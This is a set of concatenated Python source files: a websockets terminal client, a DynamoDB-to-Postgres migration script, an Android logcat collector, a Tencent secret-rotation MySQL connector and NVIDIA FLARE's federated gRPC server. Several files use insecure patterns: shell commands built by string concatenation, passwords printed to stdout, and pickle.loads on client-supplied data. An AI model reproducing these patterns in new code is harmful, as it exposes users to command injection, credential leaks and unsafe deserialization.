"\N{ESC}8"
# Move cursor down
"\N{ESC}[B"
)
sys.stdout.flush()
def print_over_input(string: str) -> None:
sys.stdout.write(
# Move cursor to beginning of line
"\N{CARRIAGE RETURN}"
# Delete current line
"\N{ESC}[K"
# Print string
f"{string}\N{LINE FEED}"
)
sys.stdout.flush()
async def run_client(
uri: str,
loop: asyncio.AbstractEventLoop,
inputs: "asyncio.Queue[str]",
stop: "asyncio.Future[None]",
) -> None:
try:
websocket = await connect(uri)
except Exception as exc:
print_over_input(f"Failed to connect to {uri}: {exc}.")
exit_from_event_loop_thread(loop, stop)
return
else:
print_during_input(f"Connected to {uri}.")
try:
while True:
incoming: asyncio.Future[Any] = asyncio.ensure_future(websocket.recv())
outgoing: asyncio.Future[Any] = asyncio.ensure_future(inputs.get())
done: Set[asyncio.Future[Any]]
pending: Set[asyncio.Future[Any]]
done, pending = await asyncio.wait(
[incoming, outgoing, stop], return_when=asyncio.FIRST_COMPLETED
)
# Cancel pending tasks to avoid leaking them.
if incoming in pending:
incoming.cancel()
if outgoing in pending:
outgoing.cancel()
if incoming in done:
try:
message = incoming.result()
except ConnectionClosed:
break
else:
if isinstance(message, str):
print_during_input("< " + message)
else:
print_during_input("< (binary) " + message.hex())
if outgoing in done:
message = outgoing.result()
await websocket.send(message)
if stop in done:
break
finally:
await websocket.close()
close_status = format_close(websocket.close_code, websocket.close_reason)
print_over_input(f"Connection closed: {close_status}.")
exit_from_event_loop_thread(loop, stop)
def main() -> None:
# If we're on Windows, enable VT100 terminal support.
if sys.platform == "win32":
try:
win_enable_vt100()
except RuntimeError as exc:
sys.stderr.write(
f"Unable to set terminal to VT100 mode. This is only "
f"supported since Win10 anniversary update. Expect "
f"weird symbols on the terminal.\nError: {exc}\n"
)
sys.stderr.flush()
try:
import readline # noqa
except ImportError: # Windows has no `readline` normally
pass
# Parse command line arguments.
parser = argparse.ArgumentParser(
prog="python -m websockets",
description="Interactive WebSocket client.",
add_help=False,
)
parser.add_argument("uri", metavar="<uri>")
args = parser.parse_args()
# Create an event loop that will run in a background thread.
loop = asyncio.new_event_loop()
# Create a queue of user inputs. There's no need to limit its size.
inputs: asyncio.Queue[str] = asyncio.Queue(loop=loop)
# Create a stop condition when receiving SIGINT or SIGTERM.
stop: asyncio.Future[None] = loop.create_future()
# Schedule the task that will manage the connection.
asyncio.ensure_future(run_client(args.uri, loop, inputs, stop), loop=loop)
# Start the event loop in a background thread.
thread = threading.Thread(target=loop.run_forever)
thread.start()
# Read from stdin in the main thread in order to receive signals.
try:
while True:
# Since there's no size limit, put_nowait is identical to put.
message = input("> ")
loop.call_soon_threadsafe(inputs.put_nowait, message)
except (KeyboardInterrupt, EOFError): # ^C, ^D
loop.call_soon_threadsafe(stop.set_result, None)
# Wait for the event loop to terminate.
thread.join()
if __name__ == "__main__":
main()
|
data_migration.py | # Copyright The Linux Foundation and each contributor to CommunityBridge.
# SPDX-License-Identifier: MIT
"""
Script to perform database migration from dynamodb instance in easyclav1 to RDS in easyclav2
"""
import logging
import os
import sys
import threading
from datetime import datetime
from queue import Queue
from threading import Thread
from typing import Dict, List
import click
import psycopg2
import log
from cla import utils
from utils import PostgresSchema
from cla.models.dynamo_models import (
Company,
Gerrit,
GitHubOrg,
Project,
Repository,
Signature,
User,
)
IMPORT_THREADS = 4
successful_import = 0
failed_import = 0
tables_queues = Queue()
models_map = {
User: "users",
Company: "companies",
Repository: "repositories",
GitHubOrg: "github_orgs",
Gerrit: "gerrit_instances",
Project: "projects",
Signature: "signatures",
}
logger = log.setup_custom_logger("dynamodb", prefix="data-migration-{}".format(os.environ.get("STAGE")),)
models = [User, Company, Repository, GitHubOrg, Gerrit, Project, Signature]
success = 0
failed = 0
def get_table(model):
"""
Function that returns the associative table for the given instance
:param model: A dynamodb model instance
"""
if type(model) in models:
return models_map[type(model)]
else:
raise Exception("Failed to get the corresponding Dynamodb Table for the instance")
def update_queue(models):
"""
Utility function that adds models to be migrated to the queue
:param models: Models are enqueued for migration process in the worker threads
"""
for item in models:
tables_queues.put(item)
def import_to_pg(connection, cursor, queue, dry_run):
"""
Worker that processes insertion based on the tables queue
:param connection: Database connector
:param cursor: database cursor instance
:queue: The queue that stores models to be migrated
:dry_run: flag that will save models if set to True
"""
while True:
item = tables_queues.get()
if item is None:
break
# Parse cla.models and update associated table
try:
table = get_table(item)
schema = PostgresSchema(item)
attributes = schema.get_tables(table)
# attributes = table_attributes(table,item)
# table, insert_dict = get_table_attributes(item)
cols = ""
values = []
for key, value in attributes().items():
if value is not None:
cols += ",{}".format(key)
values.append(value)
placeholders = ["%s" for _ in range(len(values))]
str_placeholders = ", ".join(placeholders)
insert_sql = "INSERT INTO {}({}) VALUES ({})".format(table, cols[1:], str_placeholders)
if not dry_run:
cursor.execute(insert_sql, tuple(values))
connection.commit()
logger.info("Run insert sql: {},{}".format(insert_sql,tuple(values)))
else:
logger.info("{},{} ".format(insert_sql, tuple(values)))
except (Exception, psycopg2.Error) as error:
logger.error(error)
connection.rollback()
queue.task_done()
@click.command()
@click.option(
"--aws-region", is_flag=False, type=click.STRING, default="us-east-1", help="the aws region",
)
@click.option("--rds-database", is_flag=False, type=click.STRING, help="the rds database")
@click.option(
"--rds-host", is_flag=False, type=click.STRING, default="localhost", help="the rds host",
)
@click.option(
"--rds-username", is_flag=False, type=click.STRING, default="postgres", help="the rds username",
)
@click.option(
"--rds-password", is_flag=False, type=click.STRING, default="postgres", help="the rds password",
)
@click.option(
"--rds-port", is_flag=False, type=click.STRING, default="5432", help="the database port",
)
@click.option(
"--dry-run",
is_flag=True,
default=False,
help="Dry run of the migration process. Data is not saved in the postgres db",
)
def main(
aws_region, rds_database, rds_host, rds_username, rds_password, rds_port, dry_run,
):
"""
This script runs data migration from dynamodb to postgresql
"""
if os.environ.get("STAGE") is None:
logger.warning("Please set the 'STAGE' environment varaible - typically one of: {dev, staging, prod}")
return
stage = os.environ.get("STAGE")
if dry_run:
exit_cmd = input(
"This is a dry run. "
"You are running the script for the '{}' environment. "
'Press <ENTER> to continue ("exit" to exit): '.format(stage)
)
else:
exit_cmd = input(
"This is NOT a dry run. "
"You are running the script for the '{}' environment. "
'Press <ENTER> to continue ("exit" to exit): '.format(stage)
)
if exit_cmd == "exit":
return
start_time = datetime.now()
lock = threading.Lock()
threads = []
count = 0
for _ in range(IMPORT_THREADS):
connection = psycopg2.connect(
database=rds_database, host=rds_host, user=rds_username, password=rds_password, port=rds_port,
)
cursor = connection.cursor()
worker = Thread(target=import_to_pg, args=(connection, cursor, tables_queues, dry_run))
worker.start()
threads.append(worker)
# TODO: cla models for signature,company-invitations and user-permissions
try:
user = utils.get_user_instance()
company = utils.get_company_instance()
project = utils.get_project_instance()
repository = utils.get_repository_instance()
github_orgs = utils.get_github_organization_instance()
gerrit = utils.get_gerrit_instance()
#signature = utils.get_signature_instance()
update_queue(user.all())
update_queue(company.all())
update_queue(project.all())
#update_queue(signature.all())
update_queue(repository.all())
update_queue(gerrit.all())
update_queue(github_orgs.all())
# block until all tasks are done
tables_queues.join()
except Exception as err:
logger.error(err)
# End workers
for _ in range(IMPORT_THREADS):
tables_queues.put(None)
for thread in threads:
thread.join()
duration = datetime.now() - start_time
logger.info("Data migration to the pg database run for a duration of {} ".format(duration))
if __name__ == "__main__":
sys.exit(main())
|
collect.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
////////////////////////////////////////////////////////////////////
// Android logcat collect tool
// Usage:
// python collect.py
// -f force restart or not
// -p the_package_to_collect_log
// -l the_path_to_output_log
// Collect log from Android logcat:
//
// References:
// - Android logcat usage doc:
// https://developer.android.com/studio/command-line/logcat?hl=zh-cn
// @Author: Mr.Shouheng
////////////////////////////////////////////////////////////////////
"""
import os
import sys, getopt
import logging
import signal
import sys
import threading
from time import sleep
from typing import List
sys.path.insert(0, '../')
import global_config
from android.adb import *
from android.am import *
LOGCAT_COLLECT_MAX_TIME = 10 # 10 minutes
command_info = "\
Options: \n\
-h[--help] Help info\n\
-f[--forcestop] Should stop living app\n\
-p[--package] Package name of analysing\n\
-l[--log] Log file path from logcat\
"
def __show_invalid_command(info: str):
'''Show invliad command info.'''
print('Error: Unrecognized command: %s' % info)
print(command_info)
class CollectInfo:
''''Collect info object.'''
def __init__(self, package: str, path: str, fc: str):
self.package = package
self.path = path
self.fc = fc
def __parse_command(argv) -> CollectInfo:
'''Parse collect info from input command.'''
try:
# : and = means accept arguments
opts, args = getopt.getopt(argv, "-h:-p:-l:-f", ["help", "package=", 'log=', 'forcestop='])
except BaseException as e:
__show_invalid_command(str(e))
sys.exit(2)
if len(opts) == 0:
__show_invalid_command('empty parameters')
return
package = path = forcestop = None
for opt, arg in opts:
if opt in ('-l', '--log'):
path = arg
elif opt in ('-p', '--package'):
package = arg
elif opt in ('-f', '--forcestop'):
forcestop = arg
elif opt in ('-h', '--help'):
print(command_info)
return
if package == None or path == None:
__show_invalid_command('Package or log output path required!')
return
return CollectInfo(package, path, forcestop)
def __logcat_redirect(pro: str, pid: str, info: CollectInfo):
'''Do logcat redirect.'''
# Be sure to add the '-d' option, otherwise the logcat won't write to screen.
os.system("adb shell logcat --pid=" + pid + " -d > " + info.path + "/" + info.package + "" + pro + ".log")
def __kill_collect_process():
'''Kill current process to stop all logcat collect threads.'''
out = os.popen("ps -ef | grep collect.py | grep -v grep | awk '{print $2}'")
pid = out.read().strip()
logging.debug(">> Collect trying to kill collect process [" + pid + "].")
# os.system("kill -9 " + pid)
os.kill(int(pid), signal.SIGTERM)
def __execute(argv):
''''Execute command.'''
# Parse command.
info = __parse_command(argv)
if info == None:
return
# Restart App if necessary.
if info.fc != None:
restart_app_by_package_name(info.package)
logging.info(">> Collect logcat for package [" + info.package + "].")
# Parse all process and their pids
processes = get_processes_of_pcakage_name(info.package)
logging.info(">> Collect process: [" + str(processes) + "].")
threads = [threading.Thread]
for process in processes:
logging.info(">> Collect process: [" + process.pro + "].")
thread = threading.Thread(target=__logcat_redirect, args=(process.pro, process.pid, info))
thread.name = process.pro + "(" + process.pid + ")"
threads.append(thread)
for thread in threads:
thread.start()
logging.info(">> Collect for process: [" + thread.name + "] started.")
timer = threading.Timer(LOGCAT_COLLECT_MAX_TIME, __kill_collect_process)
timer.start()
if __name__ == "__main__":
'''Program entrance.'''
global_config.config_logging('../log/app.log')
__execute(sys.argv[1:])
|
dynamic_secret_rotation_db_conn.py | import logging
import threading
import mysql.connector
from ssm.requester import Error, LoopTimer, get_current_account
from tencentcloud.common.exception.tencent_cloud_sdk_exception import TencentCloudSDKException
class Config:
"""完整配置信息类,包括数据库连接配置,SSM 账号信息等
"""
def __init__(self, params=None):
"""
:param db_config: 数据库连接配置
:type db_config: DbConfig class
:param ssm_service_config: SSM 账号信息
:type ssm_service_config: SsmAccount class
:param WATCH_FREQ: 监控轮转频率,以秒为单位
:type WATCH_FREQ: int
"""
if params is None:
self.db_config = None
self.ssm_service_config = None
self.watch_freq = None
else:
self.db_config = params['db_config'] if 'db_config' in params else None
self.ssm_service_config = params[
'ssm_service_config'] if 'ssm_service_config' in params else None
self.watch_freq = params[
'WATCH_FREQ'] if 'WATCH_FREQ' in params else None
def build_conn_str(self):
"""构造数据库连接串
:rtype :str: 数据库连接信息
:rtype :error: 异常报错信息
"""
# secret_value里面存储了用户名和密码,格式为:user_name:password
account, err = get_current_account(self.db_config.secret_name, self.ssm_service_config)
if err:
return "", err
# connection string 的格式: {user}:{password}@tcp({ip}:{port})/{dbName}?charset=utf8&loc=Local
conn_str = account.user_name + ":" + account.password + "@tcp(" + self.db_config.ip_address + ":" + \
str(self.db_config.port) + ")/" + self.db_config.db_name
if self.db_config.param_str is not None and len(self.db_config.param_str) != 0:
conn_str = conn_str + "?" + self.db_config.param_str
return conn_str, None
class DbConfig:
"""数据库连接配置类
"""
def __init__(self, params=None):
"""
:param secret_name: 凭据名称
:type secret_name: str
:param ip_address: ip地址
:type ip_address: str
:param port: 端口
:type port: int
:param db_name: 数据库名称
:type db_name: str
:param param_str: 参数字符串,例如:charset=utf8&loc=Local
:type param_str: str
"""
if params is None:
self.secret_name = None
self.ip_address = None
self.port = None
self.db_name = None
self.param_str = None
else:
self.secret_name = params['secret_name'] if 'secret_name' in params else None
self.ip_address = params['ip_address'] if 'ip_address' in params else None
self.port = params['port'] if 'port' in params else None
self.db_name = params['db_name'] if 'db_name' in params else None
self.param_str = params['param_str'] if 'param_str' in params else None
class ConnCache:
"""连接缓存类
"""
def __init__(self, params=None):
"""
:param conn_str: 缓存的当前正在使用的连接信息
:type conn_str: str
:param conn: MySQLConnection 连接实例
:type conn: MySQLConnection class
"""
if params is None:
self.conn_str = None
self.conn = None
else:
self.conn_str = params['conn_str'] if 'conn_str' in params else None
self.conn = params['conn'] if 'conn' in params else None
class DynamicSecretRotationDb:
"""支持动态凭据轮转的数据库连接类
"""
def __init__(self, params=None):
"""
:param config: 配置信息
:type config: Config class
:param db_conn: 连接信息
:type db_conn: ConnCache class
"""
if params is None:
self.config = None # 初始化配置
self.db_conn = None # 存储的是 ConnCache 结构体
else:
self.config = params['config'] if 'config' in params else None
self.db_conn = params['db_conn'] if 'db_conn' in params else None
"""
调用方每次访问db时,需通过调用本方法获取db连接。
注意:请不要在调用端缓存获取到的 *sql.DB, 以便确保在凭据发生轮换后,能及时的获得到最新的用户名和密码,防止由于用户名密码过期,而造成数据库连接失败!
"""
def get_conn(self):
"""获取数据库连接
:rtype :class: 数据库连接实例
"""
print("get_conn, connstr=" + self.db_conn.conn_str)
return self.db_conn.conn
def __get_conn_str(self):
"""获取数据库连接串
:rtype :str: 数据库连接串
"""
print("get_conn_str, connstr=" + self.db_conn.conn_str)
return self.db_conn.conn_str
def __init_conn(self):
"""初始化数据库连接
:rtype :error: 异常报错信息
"""
account, err = get_current_account(self.config.db_config.secret_name, self.config.ssm_service_config)
if err:
return err
conn_str, err = self.config.build_conn_str()
if err:
return err
mysql_conn = None
try:
# 创建 MySql 数据库连接对象
mysql_conn = mysql.connector.connect(user=account.user_name,
password=account.password,
host=self.config.db_config.ip_address,
port=self.config.db_config.port)
mysql_conn.ping()
except TencentCloudSDKException as e:
err = Error(str(e.args[0]))
if err:
return Error("connect to cdb error: %s" % err.message)
# 将有效的 conn_str 缓存起来
cur_conn = self.get_conn()
self.db_conn = ConnCache(conn_str, mysql_conn)
cur_conn.close()
return None
def __watch_change(self):
"""监控凭据变化
:rtype None
"""
conn_str, err = self.config.build_conn_str()
if err:
logging.error("failed to build conn_str, err= " + err.message)
return
if conn_str == self.__get_conn_str():
print("secret value is not changed")
return
print("secret value changed from %s to %s" %
(self.__get_conn_str(), conn_str))
err = self.__init_conn()
if err:
logging.error("failed to init_conn, err=" + err.message)
return
print("**** succeed to change db_conn, new connStr=%s ****" %
self.__get_conn_str())
def __watch_secret_change(self):
"""轮询:监控凭据是否发生变化
:rtype None
"""
t = LoopTimer(self.config.WATCH_FREQ, self.__watch_change)
t.start()
"""
在服务初始化的时候,可调用本方法来完成数据库连接的初始化。
本方法根据提供的凭据相关的信息(服务账号,凭据名),获得真实的数据库用户名和密码信息,然后生成数据库连接
"""
def init(self, config):
"""初始化支持动态凭据轮转的数据库连接
:param config: 配置信息
:type config: Config class
:rtype :error: 异常报错信息
"""
self.config = config
# 初始化数据库连接
err = self.__init_conn()
if err:
return err
print("succeed to init db_conn")
# 开启轮转监控线程
thread = threading.Thread(target=self.__watch_secret_change)
thread.start()
return None
|
fed_server.py | # Copyright (c) 2021-2022, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import logging
import os
import pickle
import shutil
import threading
import time
from abc import ABC, abstractmethod
from concurrent import futures
from threading import Lock
from typing import List, Optional
import grpc
from google.protobuf.struct_pb2 import Struct
from google.protobuf.timestamp_pb2 import Timestamp
import nvflare.private.fed.protos.admin_pb2 as admin_msg
import nvflare.private.fed.protos.admin_pb2_grpc as admin_service
import nvflare.private.fed.protos.federated_pb2 as fed_msg
import nvflare.private.fed.protos.federated_pb2_grpc as fed_service
from nvflare.apis.event_type import EventType
from nvflare.apis.fl_component import FLComponent
from nvflare.apis.fl_constant import (
FLContextKey,
MachineStatus,
ServerCommandKey,
ServerCommandNames,
SnapshotKey,
WorkspaceConstants,
)
from nvflare.apis.fl_context import FLContext
from nvflare.apis.shareable import ReservedHeaderKey, ReturnCode, Shareable, make_reply
from nvflare.apis.workspace import Workspace
from nvflare.fuel.hci.zip_utils import unzip_all_from_bytes
from nvflare.fuel.utils.argument_utils import parse_vars
from nvflare.private.defs import SpecialTaskName
from nvflare.private.fed.server.server_runner import ServerRunner
from nvflare.private.fed.utils.fed_utils import shareable_to_modeldata
from nvflare.private.fed.utils.messageproto import message_to_proto, proto_to_message
from nvflare.private.fed.utils.numproto import proto_to_bytes
from nvflare.widgets.fed_event import ServerFedEventRunner
from .client_manager import ClientManager
from .run_manager import RunManager
from .server_engine import ServerEngine
from .server_state import (
ABORT_RUN,
ACTION,
MESSAGE,
NIS,
Cold2HotState,
ColdState,
Hot2ColdState,
HotState,
ServerState,
)
from .server_status import ServerStatus
GRPC_DEFAULT_OPTIONS = [
("grpc.max_send_message_length", 1024 * 1024 * 1024),
("grpc.max_receive_message_length", 1024 * 1024 * 1024),
]
class BaseServer(ABC):
def __init__(
self,
project_name=None,
min_num_clients=2,
max_num_clients=10,
heart_beat_timeout=600,
handlers: Optional[List[FLComponent]] = None,
):
"""Base server that provides the clients management and server deployment."""
self.project_name = project_name
self.min_num_clients = max(min_num_clients, 1)
self.max_num_clients = max(max_num_clients, 1)
self.heart_beat_timeout = heart_beat_timeout
self.handlers = handlers
# self.cmd_modules = cmd_modules
self.client_manager = ClientManager(
project_name=self.project_name, min_num_clients=self.min_num_clients, max_num_clients=self.max_num_clients
)
self.grpc_server = None
self.admin_server = None
self.lock = Lock()
self.snapshot_lock = Lock()
self.fl_ctx = FLContext()
self.platform = None
self.shutdown = False
self.status = ServerStatus.NOT_STARTED
self.abort_signal = None
self.executor = None
self.logger = logging.getLogger(self.__class__.__name__)
def get_all_clients(self):
return self.client_manager.get_clients()
@abstractmethod
def remove_client_data(self, token):
pass
def close(self):
"""Shutdown the server."""
try:
if self.lock:
self.lock.release()
except RuntimeError:
self.logger.info("canceling sync locks")
try:
if self.grpc_server:
self.grpc_server.stop(0)
finally:
self.logger.info("server off")
return 0
def deploy(self, args, grpc_args=None, secure_train=False):
"""Start a grpc server and listening the designated port."""
num_server_workers = grpc_args.get("num_server_workers", 1)
num_server_workers = max(self.client_manager.get_min_clients(), num_server_workers)
target = grpc_args["service"].get("target", "0.0.0.0:6007")
grpc_options = grpc_args["service"].get("options", GRPC_DEFAULT_OPTIONS)
compression = grpc.Compression.NoCompression
if "Deflate" == grpc_args.get("compression"):
compression = grpc.Compression.Deflate
elif "Gzip" == grpc_args.get("compression"):
compression = grpc.Compression.Gzip
if not self.grpc_server:
self.executor = futures.ThreadPoolExecutor(max_workers=num_server_workers)
self.grpc_server = grpc.server(
self.executor,
options=grpc_options,
compression=compression,
)
fed_service.add_FederatedTrainingServicer_to_server(self, self.grpc_server)
admin_service.add_AdminCommunicatingServicer_to_server(self, self.grpc_server)
if secure_train:
with open(grpc_args["ssl_private_key"], "rb") as f:
private_key = f.read()
with open(grpc_args["ssl_cert"], "rb") as f:
certificate_chain = f.read()
with open(grpc_args["ssl_root_cert"], "rb") as f:
root_ca = f.read()
server_credentials = grpc.ssl_server_credentials(
(
(
private_key,
certificate_chain,
),
),
root_certificates=root_ca,
require_client_auth=True,
)
self.grpc_server.add_secure_port(target, server_credentials)
self.logger.info("starting secure server at %s", target)
else:
self.grpc_server.add_insecure_port(target)
self.logger.info("starting insecure server at %s", target)
self.grpc_server.start()
# return self.start()
cleanup_thread = threading.Thread(target=self.client_cleanup)
# heartbeat_thread.daemon = True
cleanup_thread.start()
def client_cleanup(self):
while not self.shutdown:
self.remove_dead_clients()
time.sleep(15)
def set_admin_server(self, admin_server):
self.admin_server = admin_server
def remove_dead_clients(self):
# Clean and remove the dead client without heartbeat.
self.logger.debug("trying to remove dead clients .......")
delete = []
for token, client in self.client_manager.get_clients().items():
if client.last_connect_time < time.time() - self.heart_beat_timeout:
delete.append(token)
for token in delete:
client = self.client_manager.remove_client(token)
self.remove_client_data(token)
if self.admin_server:
self.admin_server.client_dead(token)
self.logger.info(
"Remove the dead Client. Name: {}\t Token: {}. Total clients: {}".format(
client.name, token, len(self.client_manager.get_clients())
)
)
def fl_shutdown(self):
self.shutdown = True
self.close()
if self.executor:
self.executor.shutdown()
class FederatedServer(BaseServer, fed_service.FederatedTrainingServicer, admin_service.AdminCommunicatingServicer):
def __init__(
self,
project_name=None,
min_num_clients=2,
max_num_clients=10,
wait_after_min_clients=10,
cmd_modules=None,
heart_beat_timeout=600,
handlers: Optional[List[FLComponent]] = None,
args=None,
secure_train=False,
enable_byoc=False,
snapshot_persistor=None,
overseer_agent=None,
):
"""Federated server services.
Args:
project_name: server project name.
min_num_clients: minimum number of contributors at each round.
max_num_clients: maximum number of contributors at each round.
wait_after_min_clients: wait time after minimum clients responded.
cmd_modules: command modules.
heart_beat_timeout: heartbeat timeout
handlers: A list of handler
args: arguments
secure_train: whether to use secure communication
enable_byoc: whether to enable custom components
"""
self.logger = logging.getLogger("FederatedServer")
BaseServer.__init__(
self,
project_name=project_name,
min_num_clients=min_num_clients,
max_num_clients=max_num_clients,
heart_beat_timeout=heart_beat_timeout,
handlers=handlers,
)
self.contributed_clients = {}
self.tokens = None
self.round_started = Timestamp()
with self.lock:
self.reset_tokens()
self.wait_after_min_clients = wait_after_min_clients
self.cmd_modules = cmd_modules
self.builder = None
# Additional fields for CurrentTask meta_data in GetModel API.
self.current_model_meta_data = {}
self.engine = ServerEngine(
server=self, args=args, client_manager=self.client_manager, snapshot_persistor=snapshot_persistor
)
self.run_manager = None
self.server_runner = None
self.processors = {}
self.runner_config = None
self.secure_train = secure_train
self.enable_byoc = enable_byoc
self.workspace = args.workspace
self.snapshot_location = None
self.overseer_agent = overseer_agent
self.server_state: ServerState = ColdState()
self.snapshot_persistor = snapshot_persistor
def get_current_model_meta_data(self):
"""Get the model metadata, which usually contains additional fields."""
s = Struct()
for k, v in self.current_model_meta_data.items():
s.update({k: v})
return s
@property
def task_meta_info(self):
"""Task meta information.
The model_meta_info uniquely defines the current model,
it is used to reject outdated client's update.
"""
meta_info = fed_msg.MetaData()
meta_info.created.CopyFrom(self.round_started)
meta_info.project.name = self.project_name
return meta_info
def remove_client_data(self, token):
self.tokens.pop(token, None)
def reset_tokens(self):
"""Reset the token set.
After resetting, each client can take a token
and start fetching the current global model.
This function is not thread-safe.
"""
self.tokens = dict()
for client in self.get_all_clients().keys():
self.tokens[client] = self.task_meta_info
def Register(self, request, context):
"""Register new clients on the fly.
Each client must get registered before getting the global model.
The server will expect updates from the registered clients
for multiple federated rounds.
This function does not change min_num_clients and max_num_clients.
"""
with self.engine.new_context() as fl_ctx:
state_check = self.server_state.register(fl_ctx)
self._handle_state_check(context, state_check)
token = self.client_manager.authenticate(request, context)
if token:
self.tokens[token] = self.task_meta_info
if self.admin_server:
self.admin_server.client_heartbeat(token)
return fed_msg.FederatedSummary(
comment="New client registered", token=token, ssid=self.server_state.ssid
)
def _handle_state_check(self, context, state_check):
if state_check.get(ACTION) == NIS:
context.abort(
grpc.StatusCode.FAILED_PRECONDITION,
state_check.get(MESSAGE),
)
elif state_check.get(ACTION) == ABORT_RUN:
context.abort(
grpc.StatusCode.ABORTED,
state_check.get(MESSAGE),
)
def _ssid_check(self, client_state, context):
if client_state.ssid != self.server_state.ssid:
context.abort(grpc.StatusCode.UNAUTHENTICATED, "Invalid Service session ID")
def Quit(self, request, context):
"""Existing client quits the federated training process.
Server will stop sharing the global model with the client,
further contribution will be rejected.
This function does not change min_num_clients and max_num_clients.
"""
# fire_event(EventType.CLIENT_QUIT, self.handlers, self.fl_ctx)
client = self.client_manager.validate_client(request, context)
if client:
token = client.get_token()
_ = self.client_manager.remove_client(token)
self.tokens.pop(token, None)
if self.admin_server:
self.admin_server.client_dead(token)
return fed_msg.FederatedSummary(comment="Removed client")
def GetTask(self, request, context):
"""Process client's get task request."""
with self.engine.new_context() as fl_ctx:
state_check = self.server_state.get_task(fl_ctx)
self._handle_state_check(context, state_check)
self._ssid_check(request, context)
client = self.client_manager.validate_client(request, context)
if client is None:
context.abort(grpc.StatusCode.FAILED_PRECONDITION, "Client not valid.")
self.logger.debug(f"Fetch task requested from client: {client.name} ({client.get_token()})")
token = client.get_token()
# engine = fl_ctx.get_engine()
shared_fl_ctx = pickle.loads(proto_to_bytes(request.context["fl_context"]))
job_id = str(shared_fl_ctx.get_prop(FLContextKey.CURRENT_RUN))
# fl_ctx.set_peer_context(shared_fl_ctx)
with self.lock:
# if self.server_runner is None or engine is None or self.engine.run_manager is None:
if job_id not in self.engine.run_processes.keys():
self.logger.info("server has no current run - asked client to end the run")
task_name = SpecialTaskName.END_RUN
task_id = ""
shareable = None
else:
shareable, task_id, task_name = self._process_task_request(client, fl_ctx, shared_fl_ctx)
# task_name, task_id, shareable = self.server_runner.process_task_request(client, fl_ctx)
if shareable is None:
shareable = Shareable()
task = fed_msg.CurrentTask(task_name=task_name)
task.meta.CopyFrom(self.task_meta_info)
meta_data = self.get_current_model_meta_data()
# we need TASK_ID back as a cookie
shareable.add_cookie(name=FLContextKey.TASK_ID, data=task_id)
# we also need to make TASK_ID available to the client
shareable.set_header(key=FLContextKey.TASK_ID, value=task_id)
task.meta_data.CopyFrom(meta_data)
current_model = shareable_to_modeldata(shareable, fl_ctx)
task.data.CopyFrom(current_model)
if task_name == SpecialTaskName.TRY_AGAIN:
self.logger.debug(f"GetTask: Return task: {task_name} to client: {client.name} ({token}) ")
else:
self.logger.info(f"GetTask: Return task: {task_name} to client: {client.name} ({token}) ")
return task
def _process_task_request(self, client, fl_ctx, shared_fl_ctx):
task_name = SpecialTaskName.END_RUN
task_id = ""
shareable = None
try:
with self.engine.lock:
job_id = shared_fl_ctx.get_prop(FLContextKey.CURRENT_RUN)
command_conn = self.engine.get_command_conn(str(job_id))
if command_conn:
command_shareable = Shareable()
command_shareable.set_header(ServerCommandKey.PEER_FL_CONTEXT, shared_fl_ctx)
command_shareable.set_header(ServerCommandKey.FL_CLIENT, client)
data = {
ServerCommandKey.COMMAND: ServerCommandNames.GET_TASK,
ServerCommandKey.DATA: command_shareable,
}
command_conn.send(data)
return_data = pickle.loads(command_conn.recv())
task_name = return_data.get(ServerCommandKey.TASK_NAME)
task_id = return_data.get(ServerCommandKey.TASK_ID)
shareable = return_data.get(ServerCommandKey.SHAREABLE)
child_fl_ctx = return_data.get(ServerCommandKey.FL_CONTEXT)
fl_ctx.props.update(child_fl_ctx)
except BaseException as e:
self.logger.info(f"Could not connect to server runner process: {e} - asked client to end the run")
return shareable, task_id, task_name
def SubmitUpdate(self, request, context):
"""Handle client's submission of the federated updates."""
# if self.server_runner is None or self.engine.run_manager is None:
with self.engine.new_context() as fl_ctx:
state_check = self.server_state.submit_result(fl_ctx)
self._handle_state_check(context, state_check)
self._ssid_check(request.client, context)
contribution = request
client = self.client_manager.validate_client(contribution.client, context)
if client is None:
response_comment = "Ignored the submit from invalid client. "
self.logger.info(response_comment)
else:
with self.lock:
shareable = Shareable.from_bytes(proto_to_bytes(request.data.params["data"]))
shared_fl_context = pickle.loads(proto_to_bytes(request.data.params["fl_context"]))
job_id = str(shared_fl_context.get_prop(FLContextKey.CURRENT_RUN))
if job_id not in self.engine.run_processes.keys():
self.logger.info("ignored result submission since Server Engine isn't ready")
context.abort(grpc.StatusCode.OUT_OF_RANGE, "Server has stopped")
shared_fl_context.set_prop(FLContextKey.SHAREABLE, shareable, private=False)
contribution_meta = contribution.client.meta
client_contrib_id = "{}_{}_{}".format(
contribution_meta.project.name, client.name, contribution_meta.current_round
)
contribution_task_name = contribution.task_name
timenow = Timestamp()
timenow.GetCurrentTime()
time_seconds = timenow.seconds - self.round_started.seconds
self.logger.info(
"received update from %s (%s Bytes, %s seconds)",
client_contrib_id,
contribution.ByteSize(),
time_seconds or "less than 1",
)
task_id = shareable.get_cookie(FLContextKey.TASK_ID)
shareable.set_header(ServerCommandKey.PEER_FL_CONTEXT, shared_fl_context)
shareable.set_header(ServerCommandKey.FL_CLIENT, client)
shareable.set_header(ServerCommandKey.TASK_NAME, contribution_task_name)
self._submit_update(shareable, shared_fl_context)
# self.server_runner.process_submission(client, contribution_task_name, task_id, shareable, fl_ctx)
response_comment = "Received from {} ({} Bytes, {} seconds)".format(
contribution.client.client_name,
contribution.ByteSize(),
time_seconds or "less than 1",
)
summary_info = fed_msg.FederatedSummary(comment=response_comment)
summary_info.meta.CopyFrom(self.task_meta_info)
return summary_info
def _submit_update(self, shareable, shared_fl_context):
try:
with self.engine.lock:
job_id = shared_fl_context.get_prop(FLContextKey.CURRENT_RUN)
command_conn = self.engine.get_command_conn(str(job_id))
if command_conn:
data = {
ServerCommandKey.COMMAND: ServerCommandNames.SUBMIT_UPDATE,
ServerCommandKey.DATA: shareable,
}
command_conn.send(data)
except BaseException:
self.logger.info("Could not connect to server runner process - asked client to end the run")
def AuxCommunicate(self, request, context):
"""Handle auxiliary channel communication."""
with self.engine.new_context() as fl_ctx:
state_check = self.server_state.aux_communicate(fl_ctx)
self._handle_state_check(context, state_check)
self._ssid_check(request.client, context)
contribution = request
